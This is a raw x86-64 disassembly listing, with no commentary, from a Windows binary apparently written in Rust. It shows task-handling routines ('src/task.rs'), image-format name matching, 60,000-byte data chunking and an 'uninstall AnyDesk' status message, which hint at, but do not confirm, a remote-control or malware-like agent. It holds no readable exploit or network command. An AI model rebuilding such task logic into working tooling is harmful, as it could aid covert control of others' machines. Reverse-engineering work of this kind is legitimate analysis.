lea rdx, [0x1401aadc0]
call case.0x14019638b.281
mov rsi, rax
lea rcx, [rbp + 0x25d0]
call fcn.14018b3d0
jmp 0x14015dfff
mov dword [rbp + 0x46d9], eax
shr rax, 0x20
mov word [rbp + 0x46dd], ax
mov byte [rbp + 0x46d8], 0
movabs r13, 0x8000000000000000
jmp 0x14015e43b
mov qword [rbp + 0x49e8], rdx
mov qword [rbp + 0x4a58], rcx
mov rax, qword [rbp + 0x350]
mov qword [rbp + 0x4a38], rax
mov al, byte [rbp + 0x358]
mov byte [rbp + 0x4a9e], al
mov rcx, qword [rbp + 0x3530]
imul rax, qword [rbp + 0x3540], 0xb0
mov rdx, qword [rbp + 0x3538]
add rax, rdx
mov qword [rbp + 0x3980], rdx
mov qword [rbp + 0x3988], rdx
mov qword [rbp + 0x3990], rcx
mov qword [rbp + 0x3998], rax
push 8
pop rcx
mov qword [rbp + 0x4a60], rcx
xor edi, edi
cmp rdx, rax
je 0x14015de57
lea rax, [rdx + 0xb0]
mov qword [rbp + 0x3988], rax
mov rsi, qword [rdx]
movabs rax, 0x8000000000000000
cmp rsi, rax
je 0x14015de57
add rdx, 8
mov qword [rbp + 0x340], rsi
mov r8d, 0xa8
lea rcx, [rbp + 0x348]
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x49a0], rsi
lea rcx, [rbp + 0x25d0]
lea rdx, [rbp + 0x340]
call fcn.1401c4c1c
mov rcx, qword [rbp + 0x25d0]
lea rax, [rbp + 0x25e8]
movups xmm0, xmmword [rax - 0x10]
movaps xmmword [rbp + 0x3c00], xmm0
mov rax, qword [rax]
mov qword [rbp + 0x3c10], rax
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x14015e2d0
mov qword [rbp + 0x4a90], rdi
mov qword [rbp + 0x4240], rsi
mov qword [rbp + 0x4aa8], rcx
mov rax, qword [rbp + 0x3c00]
mov qword [rbp + 0x4b28], rax
mov rsi, qword [rbp + 0x3c08]
mov eax, dword [rbp + 0x3c10]
mov qword [rbp + 0x4b08], rax
mov eax, dword [rbp + 0x3c14]
mov qword [rbp + 0x4ae8], rax
lea rcx, [rbp + 0x46d0]
mov rdx, qword [rbp + 0x4a58]
mov r8, qword [rbp + 0x4a38]
call fcn.1400aef17
mov al, byte [rbp + 0x4a9e]
mov byte [rbp + 0x46e8], al
mov rax, qword [rbp + 0x46d8]
mov qword [rbp + 0x4b38], rax
mov rdi, qword [rbp + 0x46e0]
mov rdx, qword [rbp + 0x348]
mov r8, qword [rbp + 0x350]
lea r14, [rbp + 0x4380]
mov rcx, r14
mov qword [rbp + 0x4248], rdx
call fcn.14016b648
lea rax, [0x14024fc08]
mov qword [rbp + 0x25d0], rax
mov qword [rbp + 0x25d8], 2
and qword [rbp + 0x25f0], 0
mov qword [rbp + 0x3d40], r14
lea rax, [0x1400062be]
mov qword [rbp + 0x3d48], rax
lea rax, [rbp + 0x3d40]
mov qword [rbp + 0x25e0], rax
mov qword [rbp + 0x25e8], 1
mov rcx, rbx
lea rdx, [rbp + 0x25d0]
call fcn.140015f59
mov rcx, qword [rbp + 0x4380]
mov rdx, qword [rbp + 0x4388]
call fcn.14006095a
mov rax, qword [rbp + 0x3f70]
mov qword [rbp + 0x4ab0], rax
mov r9, qword [rbp + 0x3f78]
mov rax, qword [rbp + 0x3f80]
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rbx, qword [rbp + 0x4b38]
mov rdx, rbx
mov r8, rdi
mov qword [rbp + 0x4aa0], r9
call fcn.140199d90
mov rcx, qword [rbp + 0x4ab0]
mov rdx, qword [rbp + 0x4aa0]
call fcn.14006095a
mov rcx, qword [rbp + 0x46d0]
mov rdx, rbx
call fcn.14006095a
mov rax, qword [rbp + 0x4b08]
lea rax, [rax*4]
mul qword [rbp + 0x4ae8]
jo 0x140164375
mov rdi, rax
cmp rax, rsi
ja 0x140164357
mov rcx, qword [rbp + 0x2378]
mov rbx, qword [rbp + 0x2380]
mov byte [rbp + 0x4b37], 1
mov qword [rbp + 0x4b38], rcx
mov rdx, rbx
call case.0x140195aa8.181
mov r14, rax
test rax, rax
je 0x14015e2f6
mov rsi, rdx
lea r15, [rbp + 0x4380]
mov rcx, r15
mov rdx, r14
mov r8, rsi
call fcn.1400297e0
cmp qword [rbp + 0x4380], 0
jne 0x14015ffdd
mov rdx, qword [rbp + 0x4388]
mov r8, qword [rbp + 0x4390]
mov byte [rbp + 0x4b37], 1
mov rcx, r15
call fcn.14003f3ec
mov rax, qword [rbp + 0x4380]
mov qword [rbp + 0x4aa0], rax
mov r15, qword [rbp + 0x4388]
mov r13, qword [rbp + 0x4390]
xor eax, eax
cmp r13, rax
je 0x14015d292
mov cl, byte [r15 + rax]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
mov byte [r15 + rax], dl
inc rax
jmp 0x14015d272
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fe8ab]
push 4
pop r9
call fcn.14005a06a
mov r12b, 0xd
test al, al
jne 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fe8d1]
push 3
pop r9
call fcn.14005a06a
mov r12b, 1
test al, al
jne 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fe8cd]
push 4
pop r9
call fcn.14005a06a
test al, al
jne 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fe8ee]
push 3
pop r12
mov r9, r12
call fcn.14005a06a
test al, al
je 0x14015d317
xor r12d, r12d
jmp 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fe8bd]
mov r9, r12
call fcn.14005a06a
mov r12b, 2
test al, al
jne 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fe942]
push 4
pop r9
call fcn.14005a06a
mov r12b, 3
test al, al
jne 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fe902]
push 3
pop r9
call fcn.14005a06a
mov r12b, 5
test al, al
jne 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fe905]
push 4
pop r9
call fcn.14005a06a
test al, al
jne 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fe989]
push 3
pop r9
call fcn.14005a06a
mov r12b, 6
test al, al
jne 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, str.ddsexrpamffqoiformat
push 3
pop r9
call fcn.14005a06a
mov r12b, 7
test al, al
jne 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fe8af]
push 3
pop r9
call fcn.14005a06a
mov r12b, 8
test al, al
jne 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fe95d]
push 3
pop r9
call fcn.14005a06a
mov r12b, 9
test al, al
jne 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fe936]
push 3
pop r9
call fcn.14005a06a
mov r12b, 0xa
test al, al
jne 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fcceb]
push 3
pop r9
call fcn.14005a06a
mov r12b, 0xb
test al, al
jne 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fe976]
push 3
pop r9
call fcn.14005a06a
mov r12b, 4
test al, al
jne 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fccee]
push 3
pop r9
call fcn.14005a06a
test al, al
jne 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fe97c]
push 3
pop r9
call fcn.14005a06a
test al, al
jne 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fe979]
push 3
pop r9
call fcn.14005a06a
test al, al
jne 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fccf1]
push 2
pop r9
call fcn.14005a06a
mov r12b, 0xc
test al, al
jne 0x14015d50a
mov rcx, r15
mov rdx, r13
lea r8, [0x1401fccf3]
push 3
pop r9
call fcn.14005a06a
mov r12b, 0xe
test al, al
je 0x14015ffbd
mov rcx, qword [rbp + 0x4aa0]
mov rdx, r15
call fcn.14006095a
and dword [rbp + 0x46d0], 0
lea rax, [rbp + 0x46e7]
movups xmmword [rax - 0xf], xmm6
mov dword [rbp + 0x46e8], 7
and word [rax + 0xd], 0
and qword [rax + 5], 0
mov al, 1
mov byte [rbp + 0x46f1], al
mov word [rbp + 0x46f3], 0x101
mov byte [rbp + 0x4b37], al
lea rcx, [rbp + 0x46d0]
mov rdx, qword [rbp + 0x4b38]
mov r8, rbx
call fcn.1401958e0
movabs r13, 0x2600000003
mov rbx, rdx
test rax, rax
jne 0x14015e346
mov edx, 0x2000
lea rcx, [rbp + 0x46d0]
xor r8d, r8d
call fcn.1401c24b1
cmp qword [rbp + 0x46d0], 0
mov rcx, qword [rbp + 0x46d8]
jne 0x1401643ac
mov rax, qword [rbp + 0x46e0]
mov qword [rbp + 0x4380], rcx
mov qword [rbp + 0x4388], rax
and qword [rbp + 0x4390], 0
mov byte [rbp + 0x4398], 0
mov qword [rbp + 0x43a0], rbx
mov byte [rsp + 0x30], r12b
mov rax, qword [rbp + 0x4ae8]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x4b08]
mov dword [rsp + 0x20], eax
lea rcx, [rbp + 0x25d0]
lea rsi, [rbp + 0x4380]
mov rdx, rsi
mov r8, qword [rbp + 0x4b28]
mov r9, rdi
call fcn.1400479d9
mov byte [rbp + 0x4b37], 1
mov rcx, rsi
call fcn.140051d26
mov rsi, qword [rbp + 0x25d0]
movabs rax, 0x800000000000000a
cmp rsi, rax
lea r12, [rbp + 0x2370]
lea rbx, [rbp + 0x3f70]
jne 0x1401601c3
mov rcx, qword [rbp + 0x2370]
movups xmm0, xmmword [r12 + 0x10]
movaps xmmword [rbp + 0x25d0], xmm0
mov rdi, qword [rbp + 0x4a90]
cmp rdi, qword [rbp + 0x3b98]
jne 0x14015d694
mov qword [rbp + 0x4b08], rcx
lea rcx, [rbp + 0x3b98]
call fcn.1400246da
mov rax, qword [rbp + 0x3ba0]
mov qword [rbp + 0x4a60], rax
mov rcx, qword [rbp + 0x4b08]
mov rax, rdi
shl rax, 5
mov rdx, qword [rbp + 0x4a60]
mov qword [rdx + rax], rcx
mov rcx, qword [rbp + 0x4b38]
mov qword [rdx + rax + 8], rcx
movaps xmm0, xmmword [rbp + 0x25d0]
movups xmmword [rdx + rax + 0x10], xmm0
inc rdi
mov qword [rbp + 0x3ba8], rdi
mov rcx, qword [rbp + 0x4aa8]
mov rdx, qword [rbp + 0x4b28]
call fcn.14006095a
mov rcx, qword [rbp + 0x340]
mov rdx, qword [rbp + 0x348]
call fcn.14006095a
mov rdx, qword [rbp + 0x3988]
mov rax, qword [rbp + 0x3998]
jmp 0x14015cfac
mov qword [rbp + 0x46d0], rdx
mov qword [rbp + 0x46d8], r8
mov dword [rbp + 0x46e0], r14d
mov dword [rbp + 0x46e4], ebx
lea rcx, [rbp + 0x3780]
lea rdx, [rbp + 0x46d0]
call fcn.14016bd65
mov rdx, qword [rbp + 0x348]
mov rcx, qword [rbp + 0x4b08]
call fcn.14006095a
lea rcx, [rbp + 0x4380]
call fcn.14015668d
mov al, 1
mov byte [rbp + 0x4b47], al
mov byte [rbp + 0x4b46], al
mov rcx, r12
call fcn.14016b585
mov rcx, qword [rbp + 0x3780]
movabs rax, 0x8000000000000000
mov qword [rbp + 0x4b08], rcx
cmp rcx, rax
jne 0x14015d92d
lea rcx, [rbp + 0x4380]
mov rdx, qword [rbp + 0x4b18]
mov r8, qword [rbp + 0x4a80]
call fcn.140004a30
lea rcx, [rbp + 0x25d0]
lea rdx, [rbp + 0x3788]
call fcn.14016b4da
mov rdx, qword [rbp + 0x25d8]
mov r8, qword [rbp + 0x25e0]
lea rcx, [rbp + 0x46d0]
mov qword [rbp + 0x4b38], rdx
call fcn.14003f3ec
mov rax, qword [rbp + 0x4390]
mov qword [rbp + 0x350], rax
movups xmm0, xmmword [rbp + 0x4380]
movaps xmmword [rbp + 0x340], xmm0
mov rax, qword [rbp + 0x46e0]
lea rcx, [rbp + 0x358]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x46d0]
movups xmmword [rcx], xmm0
movabs rax, 0x1f400000001
mov qword [rbp + 0x370], rax
mov rcx, qword [rbp + 0x25d0]
mov rdx, qword [rbp + 0x4b38]
call fcn.14006095a
lea rcx, [rbp + 0x25d0]
lea rdx, [rbp + 0x340]
call fcn.140156586
mov rcx, qword [rbp + 0x25d0]
mov r8, qword [rbp + 0x25d8]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x140163f42
mov qword [rbp + 0x4b28], rcx
mov r9, qword [rbp + 0x25e0]
mov rax, qword [rbp + 0x4ab8]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x4ac8]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x25d0]
mov rdx, qword [rbp + 0x4a88]
mov qword [rbp + 0x4b38], r8
call fcn.14018acd5
cmp byte [rbp + 0x25d0], 0
jne 0x140163fc2
mov r8, qword [rbp + 0x25d8]
mov rcx, qword [rbp + 0x4ac8]
mov rdx, qword [rbp + 0x4ab8]
lea r9, str.src_task.rs
call fcn.14015af46
mov r8, rdx
mov rcx, qword [rbp + 0x4a78]
mov rdx, rax
call fcn.14015af66
mov r12, rax
test rax, rax
jne 0x140163fd6
mov rcx, qword [rbp + 0x4b28]
mov rdx, qword [rbp + 0x4b38]
call fcn.14006095a
lea rcx, [rbp + 0x340]
call fcn.14003f121
mov al, 1
mov byte [rbp + 0x4b47], al
mov byte [rbp + 0x4b46], al
lea rcx, [rbp + 0x3780]
call fcn.14016b5c4
jmp 0x14015e24b
mov rsi, qword [rbp + 0x3790]
mov qword [rbp + 0x3f80], rsi
movaps xmm0, xmmword [rbp + 0x3780]
movaps xmmword [rbp + 0x3f70], xmm0
lea rax, [rbp + 0x4350]
mov qword [rbp + 0x340], rax
and qword [rbp + 0x348], 0
mov rdi, qword [rbp + 0x3f78]
lea rcx, [rbp + 0x340]
call case.0x1400e8329.435
imul rbx, rsi, 0x38
add rbx, rdi
mov r14, rdi
cmp r14, rbx
je 0x14015d9bc
mov rax, qword [r14 + 0x10]
mov rcx, qword [rbp + 0x348]
add rax, rcx
add rax, 8
mov qword [rbp + 0x348], rax
mov rdx, qword [r14 + 0x20]
mov r8, qword [r14 + 0x28]
lea rcx, [rbp + 0x340]
call fcn.1401552d4
add r14, 0x38
add qword [rbp + 0x348], 8
jmp 0x14015d97c
mov rdx, qword [rbp + 0x348]
lea rcx, [rbp + 0x340]
call fcn.1401481de
lea rax, [rbp + 0x340]
mov qword [rbp + 0x25d0], rax
lea rcx, [rbp + 0x25d0]
mov rdx, rsi
call fcn.140155304
cmp rdi, rbx
je 0x14015da3d
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
lea rcx, [rbp + 0x25d0]
call fcn.14015533c
mov rdx, qword [rdi + 0x20]
mov r8, qword [rdi + 0x28]
lea rcx, [rbp + 0x25d0]
call case.0x140100db5.421
mov edx, dword [rdi + 0x30]
mov rcx, qword [rbp + 0x25d0]
call fcn.1401553c9
mov edx, dword [rdi + 0x34]
add rdi, 0x38
mov rcx, qword [rbp + 0x25d0]
call fcn.1401553c9
jmp 0x14015d9ec
mov rcx, qword [rbp + 0x340]
mov rax, qword [rbp + 0x348]
mov qword [rbp + 0x4ae8], rax
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x140163f52
mov qword [rbp + 0x4aa8], rcx
mov rsi, qword [rbp + 0x350]
mov r8d, 0xea60
lea rcx, [rbp + 0x25d0]
mov rdx, rsi
call fcn.140137dde
cmp qword [rbp + 0x25d8], 0
je 0x140164446
mov rdx, qword [rbp + 0x25e0]
lea rbx, [rbp + 0x340]
mov rcx, rbx
call fcn.140174a6e
cmp qword [rbp + 0x340], 0
mov rdi, qword [rbp + 0x348]
jne 0x140164432
mov r14, qword [rbp + 0x350]
mov qword [rbp + 0x46d0], rdi
mov qword [rbp + 0x46d8], r14
and qword [rbp + 0x46e0], 0
mov r8d, 0xea60
mov rcx, rbx
mov rdx, rsi
call fcn.140137dde
cmp qword [rbp + 0x348], 0
je 0x1401643f9
mov rbx, qword [rbp + 0x350]
cmp rdi, rbx
jae 0x14015db99
lea rax, [rdi + rdi]
cmp rax, rbx
cmova rbx, rax
xor edx, edx
movabs rax, 0x555555555555556
cmp rbx, rax
setb al
cmp rbx, 5
push 4
pop rcx
cmovb rbx, rcx
test rdi, rdi
je 0x14015db51
imul rcx, rdi, 0x18
mov qword [rbp + 0x340], r14
mov qword [rbp + 0x350], rcx
push 8
pop rcx
jmp 0x14015db53
xor ecx, ecx
imul r8, rbx, 0x18
mov dl, al
shl edx, 3
mov qword [rbp + 0x348], rcx
lea rcx, [rbp + 0x25d0]
lea r9, [rbp + 0x340]
call fcn.14017491f
cmp qword [rbp + 0x25d0], 0
jne 0x14016453d
mov r14, qword [rbp + 0x25d8]
mov qword [rbp + 0x46d8], r14
mov qword [rbp + 0x46d0], rbx
xor r13d, r13d
mov rdi, qword [rbp + 0x4ae8]
test rsi, rsi
je 0x14015dbfe
mov qword [rbp + 0x4b38], r13
mov eax, 0xea60
cmp rsi, rax
mov ebx, 0xea60
cmovb rbx, rsi
lea rcx, [rbp + 0x340]
mov rdx, rdi
mov r8, rbx
call fcn.14003f3ec
sub rsi, rbx
add rdi, rbx
mov rax, qword [rbp + 0x350]
mov qword [r14 + 0x10], rax
movups xmm0, xmmword [rbp + 0x340]
movups xmmword [r14], xmm0
mov r13, qword [rbp + 0x4b38]
inc r13
add r14, 0x18
jmp 0x14015dba3
movups xmm0, xmmword [rbp + 0x46d0]
movaps xmmword [rbp + 0x4380], xmm0
mov qword [rbp + 0x4390], r13
mov qword [rbp + 0x46d0], r13
lea rax, str.chunks_
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], 2
and qword [rbp + 0x360], 0
lea rax, [rbp + 0x46d0]
mov qword [rbp + 0x25d0], rax
lea rax, [fcn.140024bb0]
mov qword [rbp + 0x25d8], rax
lea rax, [rbp + 0x25d0]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x358], 1
lea rcx, [rbp + 0x340]
call fcn.140198770
mov rsi, qword [rbp + 0x4388]
imul rdi, r13, 0x18
add rdi, rsi
xor ebx, ebx
cmp rsi, rdi
je 0x14015de06
inc rbx
cmp r13, rbx
mov r14d, 0
push 0x7b
pop rax
cmove r14d, eax
lea rcx, [rbp + 0x46d0]
mov rdx, qword [rbp + 0x4b18]
mov r8, qword [rbp + 0x4a80]
call fcn.140004a30
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea r15, [rbp + 0x25d0]
mov rcx, r15
call fcn.1400aef17
mov rax, qword [rbp + 0x46e0]
mov qword [rbp + 0x350], rax
movups xmm0, xmmword [rbp + 0x46d0]
movaps xmmword [rbp + 0x340], xmm0
mov rax, qword [rbp + 0x25e0]
lea rcx, [rbp + 0x358]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x25d0]
movups xmmword [rcx], xmm0
mov dword [rbp + 0x370], 1
mov dword [rbp + 0x374], r14d
mov rcx, r15
lea rdx, [rbp + 0x340]
call fcn.140156586
mov rcx, qword [rbp + 0x25d0]
mov r8, qword [rbp + 0x25d8]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x1401638fd
mov qword [rbp + 0x4b28], rcx
mov r9, qword [rbp + 0x25e0]
mov rax, qword [rbp + 0x4ab8]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x4ac8]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x25d0]
mov rdx, qword [rbp + 0x4a88]
mov qword [rbp + 0x4b38], r8
call fcn.14018acd5
cmp byte [rbp + 0x25d0], 0
jne 0x14016390a
mov r8, qword [rbp + 0x25d8]
mov rcx, qword [rbp + 0x4ac8]
mov rdx, qword [rbp + 0x4ab8]
lea r9, str.src_task.rs
call fcn.14015af46
mov r8, rdx
mov rcx, qword [rbp + 0x4a78]
mov rdx, rax
call fcn.14015af66
mov r12, rax
test rax, rax
jne 0x14016391e
add rsi, 0x18
mov rcx, qword [rbp + 0x4b28]
mov rdx, qword [rbp + 0x4b38]
call fcn.14006095a
lea rcx, [rbp + 0x340]
call fcn.14003f121
jmp 0x14015dc8c
lea rcx, [rbp + 0x4380]
call fcn.140008c0f
mov rcx, qword [rbp + 0x4aa8]
mov rdx, qword [rbp + 0x4ae8]
call fcn.14006095a
lea rcx, [rbp + 0x3f70]
call fcn.14016b585
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x4b08], rax
je 0x14015d90e
jmp 0x14015e24b
call fcn.14001f485
jmp 0x14015b828
lea rcx, [rbp + 0x3980]
call fcn.14015668d
movups xmm0, xmmword [rbp + 0x3b98]
movaps xmmword [rbp + 0x49f0], xmm0
mov rax, qword [rbp + 0x3ba8]
mov qword [rbp + 0x4a00], rax
mov rcx, qword [rbp + 0x49e8]
mov rdx, qword [rbp + 0x4a58]
call fcn.14006095a
jmp 0x14016030a
cmp r9, 8
push 8
pop rax
cmovb rax, r9
mov rcx, r9
sub rcx, rax
cmp rcx, 3
jbe 0x14015e3fb
mov r8d, dword [rdx + rax]
mov qword [rbp + 0x3d58], 0xc
test r8d, r8d
je 0x14015e385
lea rcx, [rbp + 0x340]
mov rdx, r14
call fcn.140147fac
mov al, byte [rbp + 0x340]
cmp al, 0x12
jne 0x14015fcd6
lea rcx, [rbp + 0x348]
mov rax, qword [rcx + 0x10]
mov qword [rsi - 1], rax
movups xmm0, xmmword [rcx]
movups xmmword [rsi - 0x11], xmm0
movups xmm0, xmmword [rsi - 0x11]
movaps xmmword [rbp + 0x340], xmm0
mov rax, qword [rsi - 1]
mov qword [rbp + 0x350], rax
mov byte [rsp + 0x20], 1
lea rcx, [rbp + 0x46d0]
mov rdx, r14
lea r8, [rbp + 0x340]
xor r9d, r9d
call fcn.140144cc1
mov r15, qword [rbp + 0x46d0]
movabs r13, 0x8000000000000000
jmp 0x14015e43e
mov qword [rbp + 0x46d8], rbx
mov byte [rbp + 0x46d0], 1
lea rax, str.variant_index_0___i___9
mov qword [rbp + 0x4380], rax
lea rax, fcn.140009390
mov qword [rbp + 0x4388], rax
lea rax, [rbp + 0x46d0]
mov qword [rbp + 0x25d0], rax
lea rax, [0x140175d2a]
mov qword [rbp + 0x25d8], rax
lea rax, str.invalid_value:
mov qword [rbp + 0x340], rax
push 2
pop rcx
mov qword [rbp + 0x348], rcx
and qword [rbp + 0x360], 0
lea rax, [rbp + 0x4380]
mov qword [rbp + 0x25e0], rax
lea rax, [0x140038bba]
mov qword [rbp + 0x25e8], rax
lea rax, [rbp + 0x25d0]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x358], rcx
lea rcx, [rbp + 0x340]
call fcn.140148224
jmp 0x14015b828
call qword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
shl rsi, 0x20
or rsi, 2
mov rcx, qword [rbp + 0x46d0]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rdx, qword [rbp + 0x4b38]
mov rcx, qword [rbp + 0x4b28]
call fcn.14006095a
test rsi, rsi
je 0x14015e126
mov rcx, rsi
call fcn.1401c6bcc
mov rcx, rax
mov qword [rbp + 0x3f70], rcx
lea rax, [0x14025c130]
mov qword [rbp + 0x25d0], rax
push 1
pop rax
mov qword [rbp + 0x25d8], rax
and qword [rbp + 0x25f0], 0
mov qword [rbp + 0x4380], rdi
lea rcx, [fcn.1400062f1]
mov qword [rbp + 0x4388], rcx
lea rcx, [rbp + 0x4380]
mov qword [rbp + 0x25e0], rcx
mov qword [rbp + 0x25e8], rax
lea rcx, [rbp + 0x46d0]
lea rsi, [rbp + 0x25d0]
mov rdx, rsi
call fcn.140015f59
mov rax, qword [rbp + 0x46d0]
mov qword [rbp + 0x4b28], rax
mov rdx, qword [rbp + 0x46d8]
mov r8, qword [rbp + 0x46e0]
mov rcx, rsi
mov qword [rbp + 0x4b38], rdx
call fcn.14003f3ec
mov rcx, qword [rbp + 0x358]
mov rdx, qword [rbp + 0x360]
call fcn.14006095a
mov rax, qword [rbp + 0x25e0]
lea rcx, [rbp + 0x358]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x25d0]
movups xmmword [rcx], xmm0
mov rcx, qword [rbp + 0x4b28]
mov rdx, qword [rbp + 0x4b38]
call fcn.14006095a
movabs rax, 0x1f400000001
mov qword [rbp + 0x370], rax
mov rcx, qword [rbp + 0x3f70]
mov rax, qword [rcx]
call qword [rax]
jmp 0x14015e16c
lea rcx, [rbp + 0x25d0]
lea rdx, str.uninstall_AnyDesk_successuninstall_AnyDesk_fail
push 0x19
pop r8
call fcn.14003f3ec
mov rcx, qword [rbp + 0x358]
mov rdx, qword [rbp + 0x360]
call fcn.14006095a
mov rax, qword [rbp + 0x25e0]
lea rcx, [rbp + 0x358]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x25d0]
movups xmmword [rcx], xmm0
lea rcx, [rbp + 0x25d0]
lea rdx, [rbp + 0x340]
call fcn.140156586
mov rcx, qword [rbp + 0x25d0]
mov r8, qword [rbp + 0x25d8]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x140163aaf
mov qword [rbp + 0x4b28], rcx
mov r9, qword [rbp + 0x25e0]
mov rax, qword [rbp + 0x4ab8]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x4ac8]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x25d0]
mov rdx, qword [rbp + 0x4a88]
mov qword [rbp + 0x4b38], r8
call fcn.14018acd5
cmp byte [rbp + 0x25d0], 0
jne 0x140163bb8
mov r8, qword [rbp + 0x25d8]
mov rcx, qword [rbp + 0x4ac8]
mov rdx, qword [rbp + 0x4ab8]
lea r9, str.src_task.rs
call fcn.14015af46
mov r8, rdx
mov rcx, qword [rbp + 0x4a78]
mov rdx, rax
call fcn.14015af66
mov r12, rax
test rax, rax
jne 0x140163bcc
mov rcx, qword [rbp + 0x4b28]
mov rdx, qword [rbp + 0x4b38]
call fcn.14006095a
lea rcx, [rbp + 0x340]
call fcn.14003f121
xor esi, esi
mov r12, qword [rbp + 0x4af8]
mov r13, qword [rbp + 0x4b00]
mov rdi, qword [rbp + 0x4b18]
mov rbx, qword [rbp + 0x4ae0]
mov rcx, r13
mov rdx, r12
call fcn.14006095a
test sil, sil
jne 0x14015e284
mov rcx, rbx
mov rdx, rdi
call fcn.14006095a
mov rdx, qword [rbp + 0x4a68]
mov rcx, qword [rbp + 0x4a70]
lea rsi, [rbp + 0x3f70]
call fcn.14006095a
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x4670], rax
jne 0x14015b305
mov rdx, qword [rbp + 0x4678]
movabs rcx, 0x8000000000000000
call fcn.14015b1b7
jmp 0x14015b305
mov qword [rbp + 0x49a0], rsi
lea rcx, [rbp + 0x49f0]
lea rdx, [rbp + 0x3c00]
call fcn.14016bd65
mov rdx, qword [rbp + 0x348]
jmp 0x1401602d7
movabs rdx, 0x8000000000000003
mov qword [rbp + 0x3f70], rdx
mov rax, qword [rbp + 0x3790]
lea rcx, [rbp + 0x3f78]
mov qword [rcx + 0x10], rax
movaps xmm0, xmmword [rbp + 0x3780]
movups xmmword [rcx], xmm0
mov rax, rdx
btc rax, 0x3f
cmp rax, 4
push 2
pop rcx
cmovae rax, rcx
lea rcx, [0x14028c964]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
movabs rsi, 0x8000000000000009
mov qword [rbp + 0x25d0], rsi
mov qword [rbp + 0x25d8], rbx
lea r12, [rbp + 0x2370]
lea rbx, [rbp + 0x3f70]
jmp 0x1401601c3
mov rcx, qword [rbp + 0x46d0]
call qword [sym.imp.kernel32.dll_CloseHandle]
xor esi, esi
jmp 0x14015e00c
and dword [rbp + 0x350], 0
cmp r9, 0xc
push 0xc
pop rax
cmovb rax, r9
movaps xmmword [rbp + 0x340], xmm6
mov rcx, r9
sub rcx, rax
cmp rcx, 0x14
jb 0x14015e3fb
mov ecx, dword [rdx + rax + 0x10]
mov dword [rbp + 0x350], ecx
movups xmm0, xmmword [rdx + rax]
movaps xmmword [rbp + 0x340], xmm0
mov qword [rbp + 0x3d58], 0xc
xor eax, eax
cmp rax, 0x14
je 0x14015fdb2
cmp byte [rbp + rax + 0x340], 0
lea rax, [rax + 1]
je 0x14015e3cc
lea rcx, [rbp + 0x340]
mov rdx, r14
xor r8d, r8d
call fcn.140147fac
jmp 0x14015ded9
mov byte [rbp + 0x46d8], 4
lea rax, [0x140264930]
mov qword [rbp + 0x46e0], rax
movabs r13, 0x8000000000000000
mov qword [rbp + 0x46e8], r13
mov qword [rbp + 0x46f0], 1
and qword [rbp + 0x46f8], 0
mov qword [rbp + 0x46d0], r13
mov r15, r13
mov rbx, qword [rbp + 0x46d8]
mov rdi, qword [rbp + 0x46e0]
mov rsi, qword [rbp + 0x46e8]
mov r14, qword [rbp + 0x46f0]
mov rax, qword [rbp + 0x46f8]
mov qword [rbp + 0x4b38], rax
cmp r15, r13
jne 0x14015e496
xor ecx, ecx
push 1
pop rdx
call fcn.14006095a
mov rcx, qword [rbp + 0x3d40]
mov rdx, qword [rbp + 0x3d48]
call fcn.14006095a
mov r12, rbx
mov rbx, qword [rbp + 0x4b38]
jmp 0x14015e4eb
mov qword [rbp + 0x4ae8], r14
mov qword [rbp + 0x4b08], rsi
mov r8d, 0x108
lea rcx, [rbp + 0x3f70]
lea rdx, [rbp + 0x4700]
call sub.VCRUNTIME140.dll_memcpy
mov r14, qword [rbp + 0x3d40]
mov r12, qword [rbp + 0x3d48]
mov rsi, qword [rbp + 0x3d50]
mov rax, qword [rbp + 0x3d58]
